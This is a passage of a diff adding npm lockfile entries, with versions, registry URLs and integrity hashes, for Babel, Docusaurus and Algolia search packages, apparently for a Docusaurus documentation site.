"https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.22.10.tgz", + "integrity": "sha512-RchI7HePu1eu0CYNKHHHQdfenZcM4nz8rew5B1VWqeRKdcwW5aQ5HeG9eTUbWiAS1UrmHVLmoxTWHt3iLD/NhA==", + "requires": { + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "babel-plugin-polyfill-corejs2": "^0.4.5", + "babel-plugin-polyfill-corejs3": "^0.8.3", + "babel-plugin-polyfill-regenerator": "^0.5.2", + "semver": "^6.3.1" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "@babel/plugin-transform-shorthand-properties": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.22.5.tgz", + "integrity": "sha512-vM4fq9IXHscXVKzDv5itkO1X52SmdFBFcMIBZ2FRn2nqVYqw6dBexUgMvAjHW+KXpPPViD/Yo3GrDEBaRC0QYA==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-spread": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.22.5.tgz", + "integrity": "sha512-5ZzDQIGyvN4w8+dMmpohL6MBo+l2G7tfC/O2Dg7/hjpgeWvUx8FzfeOKxGog9IimPa4YekaQ9PlDqTLOljkcxg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5" + } + }, + "@babel/plugin-transform-sticky-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.22.5.tgz", + "integrity": "sha512-zf7LuNpHG0iEeiyCNwX4j3gDg1jgt1k3ZdXBKbZSoA3BbGQGvMiSvfbZRR3Dr3aeJe3ooWFZxOOG3IRStYp2Bw==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-template-literals": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.22.5.tgz", + "integrity": "sha512-5ciOehRNf+EyUeewo8NkbQiUs4d6ZxiHo6BcBcnFlgiJfu16q0bQUw9Jvo0b0gBKFG1SMhDSjeKXSYuJLeFSMA==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-typeof-symbol": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.22.5.tgz", + "integrity": "sha512-bYkI5lMzL4kPii4HHEEChkD0rkc+nvnlR6+o/qdqR6zrm0Sv/nodmyLhlq2DO0YKLUNd2VePmPRjJXSBh9OIdA==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-typescript": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.22.10.tgz", + "integrity": "sha512-7++c8I/ymsDo4QQBAgbraXLzIM6jmfao11KgIBEYZRReWzNWH9NtNgJcyrZiXsOPh523FQm6LfpLyy/U5fn46A==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-create-class-features-plugin": "^7.22.10", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-typescript": "^7.22.5" + } + }, + "@babel/plugin-transform-unicode-escapes": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.22.10.tgz", + "integrity": "sha512-lRfaRKGZCBqDlRU3UIFovdp9c9mEvlylmpod0/OatICsSfuQ9YFthRo1tpTkGsklEefZdqlEFdY4A2dwTb6ohg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-unicode-property-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.22.5.tgz", + "integrity": "sha512-HCCIb+CbJIAE6sXn5CjFQXMwkCClcOfPCzTlilJ8cUatfzwHlWQkbtV0zD338u9dZskwvuOYTuuaMaA8J5EI5A==", + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-unicode-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.22.5.tgz", + "integrity": "sha512-028laaOKptN5vHJf9/Arr/HiJekMd41hOEZYvNsrsXqJ7YPYuX2bQxh31fkZzGmq3YqHRJzYFFAVYvKfMPKqyg==", + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-unicode-sets-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.22.5.tgz", + "integrity": "sha512-lhMfi4FC15j13eKrh3DnYHjpGj6UKQHtNKTbtc1igvAhRy4+kLhV07OpLcsN0VgDEw/MjAvJO4BdMJsHwMhzCg==", + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/preset-env": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.22.10.tgz", + "integrity": "sha512-riHpLb1drNkpLlocmSyEg4oYJIQFeXAK/d7rI6mbD0XsvoTOOweXDmQPG/ErxsEhWk3rl3Q/3F6RFQlVFS8m0A==", + "requires": { + "@babel/compat-data": "^7.22.9", + "@babel/helper-compilation-targets": "^7.22.10", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-option": "^7.22.5", + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.22.5", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.22.5", + "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-class-properties": "^7.12.13", + "@babel/plugin-syntax-class-static-block": "^7.14.5", + "@babel/plugin-syntax-dynamic-import": "^7.8.3", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3", + "@babel/plugin-syntax-import-assertions": "^7.22.5", + "@babel/plugin-syntax-import-attributes": "^7.22.5", + "@babel/plugin-syntax-import-meta": "^7.10.4", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5", + "@babel/plugin-syntax-top-level-await": "^7.14.5", + "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", + "@babel/plugin-transform-arrow-functions": "^7.22.5", + "@babel/plugin-transform-async-generator-functions": "^7.22.10", + "@babel/plugin-transform-async-to-generator": "^7.22.5", + "@babel/plugin-transform-block-scoped-functions": "^7.22.5", + "@babel/plugin-transform-block-scoping": "^7.22.10", + "@babel/plugin-transform-class-properties": "^7.22.5", + "@babel/plugin-transform-class-static-block": "^7.22.5", + "@babel/plugin-transform-classes": "^7.22.6", + "@babel/plugin-transform-computed-properties": "^7.22.5", + "@babel/plugin-transform-destructuring": "^7.22.10", + "@babel/plugin-transform-dotall-regex": "^7.22.5", + "@babel/plugin-transform-duplicate-keys": "^7.22.5", + "@babel/plugin-transform-dynamic-import": "^7.22.5", + "@babel/plugin-transform-exponentiation-operator": "^7.22.5", + "@babel/plugin-transform-export-namespace-from": "^7.22.5", + "@babel/plugin-transform-for-of": "^7.22.5", + "@babel/plugin-transform-function-name": "^7.22.5", + "@babel/plugin-transform-json-strings": "^7.22.5", + "@babel/plugin-transform-literals": "^7.22.5", + "@babel/plugin-transform-logical-assignment-operators": "^7.22.5", + "@babel/plugin-transform-member-expression-literals": "^7.22.5", + "@babel/plugin-transform-modules-amd": "^7.22.5", + "@babel/plugin-transform-modules-commonjs": "^7.22.5", + "@babel/plugin-transform-modules-systemjs": "^7.22.5", + "@babel/plugin-transform-modules-umd": "^7.22.5", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.22.5", + "@babel/plugin-transform-new-target": "^7.22.5", + "@babel/plugin-transform-nullish-coalescing-operator": "^7.22.5", + "@babel/plugin-transform-numeric-separator": "^7.22.5", + "@babel/plugin-transform-object-rest-spread": "^7.22.5", + "@babel/plugin-transform-object-super": "^7.22.5", + "@babel/plugin-transform-optional-catch-binding": "^7.22.5", + "@babel/plugin-transform-optional-chaining": "^7.22.10", + "@babel/plugin-transform-parameters": "^7.22.5", + "@babel/plugin-transform-private-methods": "^7.22.5", + "@babel/plugin-transform-private-property-in-object": "^7.22.5", + "@babel/plugin-transform-property-literals": "^7.22.5", + "@babel/plugin-transform-regenerator": "^7.22.10", + "@babel/plugin-transform-reserved-words": "^7.22.5", + "@babel/plugin-transform-shorthand-properties": "^7.22.5", + "@babel/plugin-transform-spread": "^7.22.5", + "@babel/plugin-transform-sticky-regex": "^7.22.5", + "@babel/plugin-transform-template-literals": "^7.22.5", + "@babel/plugin-transform-typeof-symbol": "^7.22.5", + "@babel/plugin-transform-unicode-escapes": "^7.22.10", + "@babel/plugin-transform-unicode-property-regex": "^7.22.5", + "@babel/plugin-transform-unicode-regex": "^7.22.5", + "@babel/plugin-transform-unicode-sets-regex": "^7.22.5", + "@babel/preset-modules": "0.1.6-no-external-plugins", + "@babel/types": "^7.22.10", + "babel-plugin-polyfill-corejs2": "^0.4.5", + "babel-plugin-polyfill-corejs3": "^0.8.3", + "babel-plugin-polyfill-regenerator": "^0.5.2", + "core-js-compat": "^3.31.0", + "semver": "^6.3.1" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "@babel/preset-modules": { + "version": "0.1.6-no-external-plugins", + "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.6-no-external-plugins.tgz", + "integrity": "sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA==", + "requires": { + "@babel/helper-plugin-utils": "^7.0.0", + "@babel/types": "^7.4.4", + "esutils": "^2.0.2" + } + }, + "@babel/preset-react": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.22.5.tgz", + "integrity": "sha512-M+Is3WikOpEJHgR385HbuCITPTaPRaNkibTEa9oiofmJvIsrceb4yp9RL9Kb+TE8LznmeyZqpP+Lopwcx59xPQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-option": "^7.22.5", + "@babel/plugin-transform-react-display-name": "^7.22.5", + "@babel/plugin-transform-react-jsx": "^7.22.5", + "@babel/plugin-transform-react-jsx-development": "^7.22.5", + "@babel/plugin-transform-react-pure-annotations": "^7.22.5" + } + }, + "@babel/preset-typescript": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.22.5.tgz", + "integrity": "sha512-YbPaal9LxztSGhmndR46FmAbkJ/1fAsw293tSU+I5E5h+cnJ3d4GTwyUgGYmOXJYdGA+uNePle4qbaRzj2NISQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-option": "^7.22.5", + "@babel/plugin-syntax-jsx": "^7.22.5", + "@babel/plugin-transform-modules-commonjs": "^7.22.5", + "@babel/plugin-transform-typescript": "^7.22.5" + } + }, + "@babel/regjsgen": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@babel/regjsgen/-/regjsgen-0.8.0.tgz", + "integrity": "sha512-x/rqGMdzj+fWZvCOYForTghzbtqPDZ5gPwaoNGHdgDfF2QA/XZbCBp4Moo5scrkAMPhB7z26XM/AaHuIJdgauA==" + }, + "@babel/runtime": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.22.10.tgz", + "integrity": "sha512-21t/fkKLMZI4pqP2wlmsQAWnYW1PDyKyyUV4vCi+B25ydmdaYTKXPwCj0BzSUnZf4seIiYvSA3jcZ3gdsMFkLQ==", + "requires": { + "regenerator-runtime": "^0.14.0" + } + }, + "@babel/runtime-corejs3": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.22.10.tgz", + "integrity": "sha512-IcixfV2Jl3UrqZX4c81+7lVg5++2ufYJyAFW3Aux/ZTvY6LVYYhJ9rMgnbX0zGVq6eqfVpnoatTjZdVki/GmWA==", + "requires": { + "core-js-pure": "^3.30.2", + "regenerator-runtime": "^0.14.0" + } + }, + "@babel/template": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.22.5.tgz", + "integrity": "sha512-X7yV7eiwAxdj9k94NEylvbVHLiVG1nvzCV2EAowhxLTwODV1jl9UzZ48leOC0sH7OnuHrIkllaBgneUykIcZaw==", + "requires": { + "@babel/code-frame": "^7.22.5", + "@babel/parser": "^7.22.5", + "@babel/types": "^7.22.5" + } + }, + "@babel/traverse": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.22.10.tgz", + "integrity": "sha512-Q/urqV4pRByiNNpb/f5OSv28ZlGJiFiiTh+GAHktbIrkPhPbl90+uW6SmpoLyZqutrg9AEaEf3Q/ZBRHBXgxig==", + "requires": { + "@babel/code-frame": "^7.22.10", + "@babel/generator": "^7.22.10", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "@babel/parser": "^7.22.10", + "@babel/types": "^7.22.10", + "debug": "^4.1.0", + "globals": "^11.1.0" + } + }, + "@babel/types": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.22.10.tgz", + "integrity": "sha512-obaoigiLrlDZ7TUQln/8m4mSqIW2QFeOrCQc9r+xsaHGNoplVNYlRVpsfE8Vj35GEm2ZH4ZhrNYogs/3fj85kg==", + "requires": { + "@babel/helper-string-parser": "^7.22.5", + "@babel/helper-validator-identifier": "^7.22.5", + "to-fast-properties": "^2.0.0" + } + }, + "@cmfcmf/docusaurus-search-local": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@cmfcmf/docusaurus-search-local/-/docusaurus-search-local-1.1.0.tgz", + "integrity": "sha512-0IVb/aA0IK8ZlktuxmgXmluXfcSpo6Vdd2nG21y1aOH9nVYnPP231Dn0H8Ng9Qf9ronQQCDWHnuWpYOr9rUrEQ==", + "requires": { + "@algolia/autocomplete-js": "^1.8.2", + "@algolia/autocomplete-theme-classic": "^1.8.2", + "@algolia/client-search": "^4.12.0", + "algoliasearch": "^4.12.0", + "cheerio": "^1.0.0-rc.9", + "clsx": "^1.1.1", + "lunr-languages": "^1.4.0", + "mark.js": "^8.11.1" + } + }, + "@colors/colors": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/@colors/colors/-/colors-1.5.0.tgz", + "integrity": "sha512-ooWCrlZP11i8GImSjTHYHLkvFDP48nS4+204nGb1RiX/WXYHmJA2III9/e2DWVabCESdW7hBAEzHRqUn9OUVvQ==", + "optional": true + }, + "@discoveryjs/json-ext": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/@discoveryjs/json-ext/-/json-ext-0.5.7.tgz", + "integrity": "sha512-dBVuXR082gk3jsFp7Rd/JI4kytwGHecnCoTtXFb7DB6CNHp4rg5k1bhg0nWdLGLnOV71lmDzGQaLMy8iPLY0pw==" + }, + "@docsearch/css": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/@docsearch/css/-/css-3.5.2.tgz", + "integrity": "sha512-SPiDHaWKQZpwR2siD0KQUwlStvIAnEyK6tAE2h2Wuoq8ue9skzhlyVQ1ddzOxX6khULnAALDiR/isSF3bnuciA==" + }, + "@docsearch/react": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/@docsearch/react/-/react-3.5.2.tgz", + "integrity": "sha512-9Ahcrs5z2jq/DcAvYtvlqEBHImbm4YJI8M9y0x6Tqg598P40HTEkX7hsMcIuThI+hTFxRGZ9hll0Wygm2yEjng==", + "requires": { + "@algolia/autocomplete-core": "1.9.3", + "@algolia/autocomplete-preset-algolia": "1.9.3", + "@docsearch/css": "3.5.2", + "algoliasearch": "^4.19.1" + }, + "dependencies": { + "@algolia/autocomplete-core": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-core/-/autocomplete-core-1.9.3.tgz", + "integrity": "sha512-009HdfugtGCdC4JdXUbVJClA0q0zh24yyePn+KUGk3rP7j8FEe/m5Yo/z65gn6nP/cM39PxpzqKrL7A6fP6PPw==", + "requires": { + "@algolia/autocomplete-plugin-algolia-insights": "1.9.3", + "@algolia/autocomplete-shared": "1.9.3" + } + }, + "@algolia/autocomplete-plugin-algolia-insights": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-plugin-algolia-insights/-/autocomplete-plugin-algolia-insights-1.9.3.tgz", + "integrity": "sha512-a/yTUkcO/Vyy+JffmAnTWbr4/90cLzw+CC3bRbhnULr/EM0fGNvM13oQQ14f2moLMcVDyAx/leczLlAOovhSZg==", + "requires": { + "@algolia/autocomplete-shared": "1.9.3" + } + }, + "@algolia/autocomplete-preset-algolia": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-preset-algolia/-/autocomplete-preset-algolia-1.9.3.tgz", + "integrity": "sha512-d4qlt6YmrLMYy95n5TB52wtNDr6EgAIPH81dvvvW8UmuWRgxEtY0NJiPwl/h95JtG2vmRM804M0DSwMCNZlzRA==", + "requires": { + "@algolia/autocomplete-shared": "1.9.3" + } + }, + "@algolia/autocomplete-shared": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-shared/-/autocomplete-shared-1.9.3.tgz", + "integrity": "sha512-Wnm9E4Ye6Rl6sTTqjoymD+l8DjSTHsHboVRYrKgEt8Q7UHm9nYbqhN/i0fhUYA3OAEH7WA8x3jfpnmJm3rKvaQ==", + "requires": {} + } + } + }, + "@docusaurus/core": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/core/-/core-2.4.1.tgz", + "integrity": "sha512-SNsY7PshK3Ri7vtsLXVeAJGS50nJN3RgF836zkyUfAD01Fq+sAk5EwWgLw+nnm5KVNGDu7PRR2kRGDsWvqpo0g==", + "requires": { + "@babel/core": "^7.18.6", + "@babel/generator": "^7.18.7", + "@babel/plugin-syntax-dynamic-import": "^7.8.3", + "@babel/plugin-transform-runtime": "^7.18.6", + "@babel/preset-env": "^7.18.6", + "@babel/preset-react": "^7.18.6", + "@babel/preset-typescript": "^7.18.6", + "@babel/runtime": "^7.18.6", + "@babel/runtime-corejs3": "^7.18.6", + "@babel/traverse": "^7.18.8", + "@docusaurus/cssnano-preset": "2.4.1", + "@docusaurus/logger": "2.4.1", + "@docusaurus/mdx-loader": "2.4.1", + "@docusaurus/react-loadable": "5.5.2", + "@docusaurus/utils": "2.4.1", + "@docusaurus/utils-common": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "@slorber/static-site-generator-webpack-plugin": "^4.0.7", + "@svgr/webpack": "^6.2.1", + "autoprefixer": "^10.4.7", + "babel-loader": "^8.2.5", + "babel-plugin-dynamic-import-node": "^2.3.3", + "boxen": "^6.2.1", + "chalk": "^4.1.2", + "chokidar": "^3.5.3", + "clean-css": "^5.3.0", + "cli-table3": "^0.6.2", + "combine-promises": "^1.1.0", + "commander": "^5.1.0", + "copy-webpack-plugin": "^11.0.0", + "core-js": "^3.23.3", + "css-loader": "^6.7.1", + "css-minimizer-webpack-plugin": "^4.0.0", + "cssnano": "^5.1.12", + "del": "^6.1.1", + "detect-port": "^1.3.0", + "escape-html": "^1.0.3", + "eta": "^2.0.0", + "file-loader": "^6.2.0", + "fs-extra": "^10.1.0", + "html-minifier-terser": "^6.1.0", + "html-tags": "^3.2.0", + "html-webpack-plugin": "^5.5.0", + "import-fresh": "^3.3.0", + "leven": "^3.1.0", + "lodash": "^4.17.21", + "mini-css-extract-plugin": "^2.6.1", + "postcss": "^8.4.14", + "postcss-loader": "^7.0.0", + "prompts": "^2.4.2", + "react-dev-utils": "^12.0.1", + "react-helmet-async": "^1.3.0", + "react-loadable": "npm:@docusaurus/react-loadable@5.5.2", + "react-loadable-ssr-addon-v5-slorber": "^1.0.1", + "react-router": "^5.3.3", + "react-router-config": "^5.1.1", + "react-router-dom": "^5.3.3", + "rtl-detect": "^1.0.4", + "semver": "^7.3.7", + "serve-handler": "^6.1.3", + "shelljs": "^0.8.5", + "terser-webpack-plugin": "^5.3.3", + "tslib": "^2.4.0", + "update-notifier": "^5.1.0", + "url-loader": "^4.1.1", + "wait-on": "^6.0.1", + "webpack": "^5.73.0", + "webpack-bundle-analyzer": "^4.5.0", + "webpack-dev-server": "^4.9.3", + "webpack-merge": "^5.8.0", + "webpackbar": "^5.0.2" + } + }, + "@docusaurus/cssnano-preset": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/cssnano-preset/-/cssnano-preset-2.4.1.tgz", + "integrity": "sha512-ka+vqXwtcW1NbXxWsh6yA1Ckii1klY9E53cJ4O9J09nkMBgrNX3iEFED1fWdv8wf4mJjvGi5RLZ2p9hJNjsLyQ==", + "requires": { + "cssnano-preset-advanced": "^5.3.8", + "postcss": "^8.4.14", + "postcss-sort-media-queries": "^4.2.1", + "tslib": "^2.4.0" + } + }, + "@docusaurus/logger": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/logger/-/logger-2.4.1.tgz", + "integrity": "sha512-5h5ysIIWYIDHyTVd8BjheZmQZmEgWDR54aQ1BX9pjFfpyzFo5puKXKYrYJXbjEHGyVhEzmB9UXwbxGfaZhOjcg==", + "requires": { + "chalk": "^4.1.2", + "tslib": "^2.4.0" + } + }, + "@docusaurus/mdx-loader": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/mdx-loader/-/mdx-loader-2.4.1.tgz", + "integrity": "sha512-4KhUhEavteIAmbBj7LVFnrVYDiU51H5YWW1zY6SmBSte/YLhDutztLTBE0PQl1Grux1jzUJeaSvAzHpTn6JJDQ==", + "requires": { + "@babel/parser": "^7.18.8", + "@babel/traverse": "^7.18.8", + "@docusaurus/logger": "2.4.1", + "@docusaurus/utils": "2.4.1", + "@mdx-js/mdx": "^1.6.22", + "escape-html": "^1.0.3", + "file-loader": "^6.2.0", + "fs-extra": "^10.1.0", + "image-size": "^1.0.1", + "mdast-util-to-string": "^2.0.0", + "remark-emoji": "^2.2.0", + "stringify-object": "^3.3.0", + "tslib": "^2.4.0", + "unified": "^9.2.2", + "unist-util-visit": "^2.0.3", + "url-loader": "^4.1.1", + "webpack": "^5.73.0" + } + }, + "@docusaurus/module-type-aliases": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/module-type-aliases/-/module-type-aliases-2.4.1.tgz", + "integrity": "sha512-gLBuIFM8Dp2XOCWffUDSjtxY7jQgKvYujt7Mx5s4FCTfoL5dN1EVbnrn+O2Wvh8b0a77D57qoIDY7ghgmatR1A==", + "requires": { + "@docusaurus/react-loadable": "5.5.2", + "@docusaurus/types": "2.4.1", + "@types/history": "^4.7.11", + "@types/react": "*", + "@types/react-router-config": "*", + "@types/react-router-dom": "*", + "react-helmet-async": "*", + "react-loadable": "npm:@docusaurus/react-loadable@5.5.2" + } + }, + "@docusaurus/plugin-content-blog": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/plugin-content-blog/-/plugin-content-blog-2.4.1.tgz", + "integrity": "sha512-E2i7Knz5YIbE1XELI6RlTnZnGgS52cUO4BlCiCUCvQHbR+s1xeIWz4C6BtaVnlug0Ccz7nFSksfwDpVlkujg5Q==", + "requires": { + "@docusaurus/core": "2.4.1", + "@docusaurus/logger": "2.4.1", + "@docusaurus/mdx-loader": "2.4.1", + "@docusaurus/types": "2.4.1", + "@docusaurus/utils": "2.4.1", + "@docusaurus/utils-common": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "cheerio": "^1.0.0-rc.12", + "feed": "^4.2.2", + "fs-extra": "^10.1.0", + "lodash": "^4.17.21", + "reading-time": "^1.5.0", + "tslib": "^2.4.0", + "unist-util-visit": "^2.0.3", + "utility-types": "^3.10.0", + "webpack": "^5.73.0" + } + }, + "@docusaurus/plugin-content-docs": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/plugin-content-docs/-/plugin-content-docs-2.4.1.tgz", + "integrity": "sha512-Lo7lSIcpswa2Kv4HEeUcGYqaasMUQNpjTXpV0N8G6jXgZaQurqp7E8NGYeGbDXnb48czmHWbzDL4S3+BbK0VzA==", + "requires": { + "@docusaurus/core": "2.4.1", + "@docusaurus/logger": "2.4.1", + "@docusaurus/mdx-loader": "2.4.1", + "@docusaurus/module-type-aliases": "2.4.1", + "@docusaurus/types": "2.4.1", + "@docusaurus/utils": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "@types/react-router-config": "^5.0.6", + "combine-promises": "^1.1.0", + "fs-extra": "^10.1.0", + "import-fresh": "^3.3.0", + "js-yaml": "^4.1.0", + "lodash": "^4.17.21", + "tslib": "^2.4.0", + "utility-types": "^3.10.0", + "webpack": "^5.73.0" + } + }, + "@docusaurus/plugin-content-pages": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/plugin-content-pages/-/plugin-content-pages-2.4.1.tgz", + "integrity": "sha512-/UjuH/76KLaUlL+o1OvyORynv6FURzjurSjvn2lbWTFc4tpYY2qLYTlKpTCBVPhlLUQsfyFnshEJDLmPneq2oA==", + "requires": { + "@docusaurus/core": "2.4.1", + "@docusaurus/mdx-loader": "2.4.1", + "@docusaurus/types": "2.4.1", + "@docusaurus/utils": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "fs-extra": "^10.1.0", + "tslib": "^2.4.0", + "webpack": "^5.73.0" + } + }, + "@docusaurus/plugin-debug": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/plugin-debug/-/plugin-debug-2.4.1.tgz", + "integrity": "sha512-7Yu9UPzRShlrH/G8btOpR0e6INFZr0EegWplMjOqelIwAcx3PKyR8mgPTxGTxcqiYj6hxSCRN0D8R7YrzImwNA==", + "requires": { + "@docusaurus/core": "2.4.1", + "@docusaurus/types": "2.4.1", + "@docusaurus/utils": "2.4.1", + "fs-extra": "^10.1.0", + "react-json-view": "^1.21.3", + "tslib": "^2.4.0" + } + }, + "@docusaurus/plugin-google-analytics": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/plugin-google-analytics/-/plugin-google-analytics-2.4.1.tgz", + "integrity": "sha512-dyZJdJiCoL+rcfnm0RPkLt/o732HvLiEwmtoNzOoz9MSZz117UH2J6U2vUDtzUzwtFLIf32KkeyzisbwUCgcaQ==", + "requires": { + "@docusaurus/core": "2.4.1", + "@docusaurus/types": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "tslib": "^2.4.0" + } + }, + "@docusaurus/plugin-google-gtag": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/plugin-google-gtag/-/plugin-google-gtag-2.4.1.tgz", + "integrity": "sha512-mKIefK+2kGTQBYvloNEKtDmnRD7bxHLsBcxgnbt4oZwzi2nxCGjPX6+9SQO2KCN5HZbNrYmGo5GJfMgoRvy6uA==", + "requires": { + "@docusaurus/core": "2.4.1", + "@docusaurus/types": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "tslib": "^2.4.0" + } + }, + "@docusaurus/plugin-google-tag-manager": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/plugin-google-tag-manager/-/plugin-google-tag-manager-2.4.1.tgz", + "integrity": "sha512-Zg4Ii9CMOLfpeV2nG74lVTWNtisFaH9QNtEw48R5QE1KIwDBdTVaiSA18G1EujZjrzJJzXN79VhINSbOJO/r3g==", + "requires": { + "@docusaurus/core": "2.4.1", + "@docusaurus/types": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "tslib": "^2.4.0" + } + }, + "@docusaurus/plugin-sitemap": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/plugin-sitemap/-/plugin-sitemap-2.4.1.tgz", + "integrity": 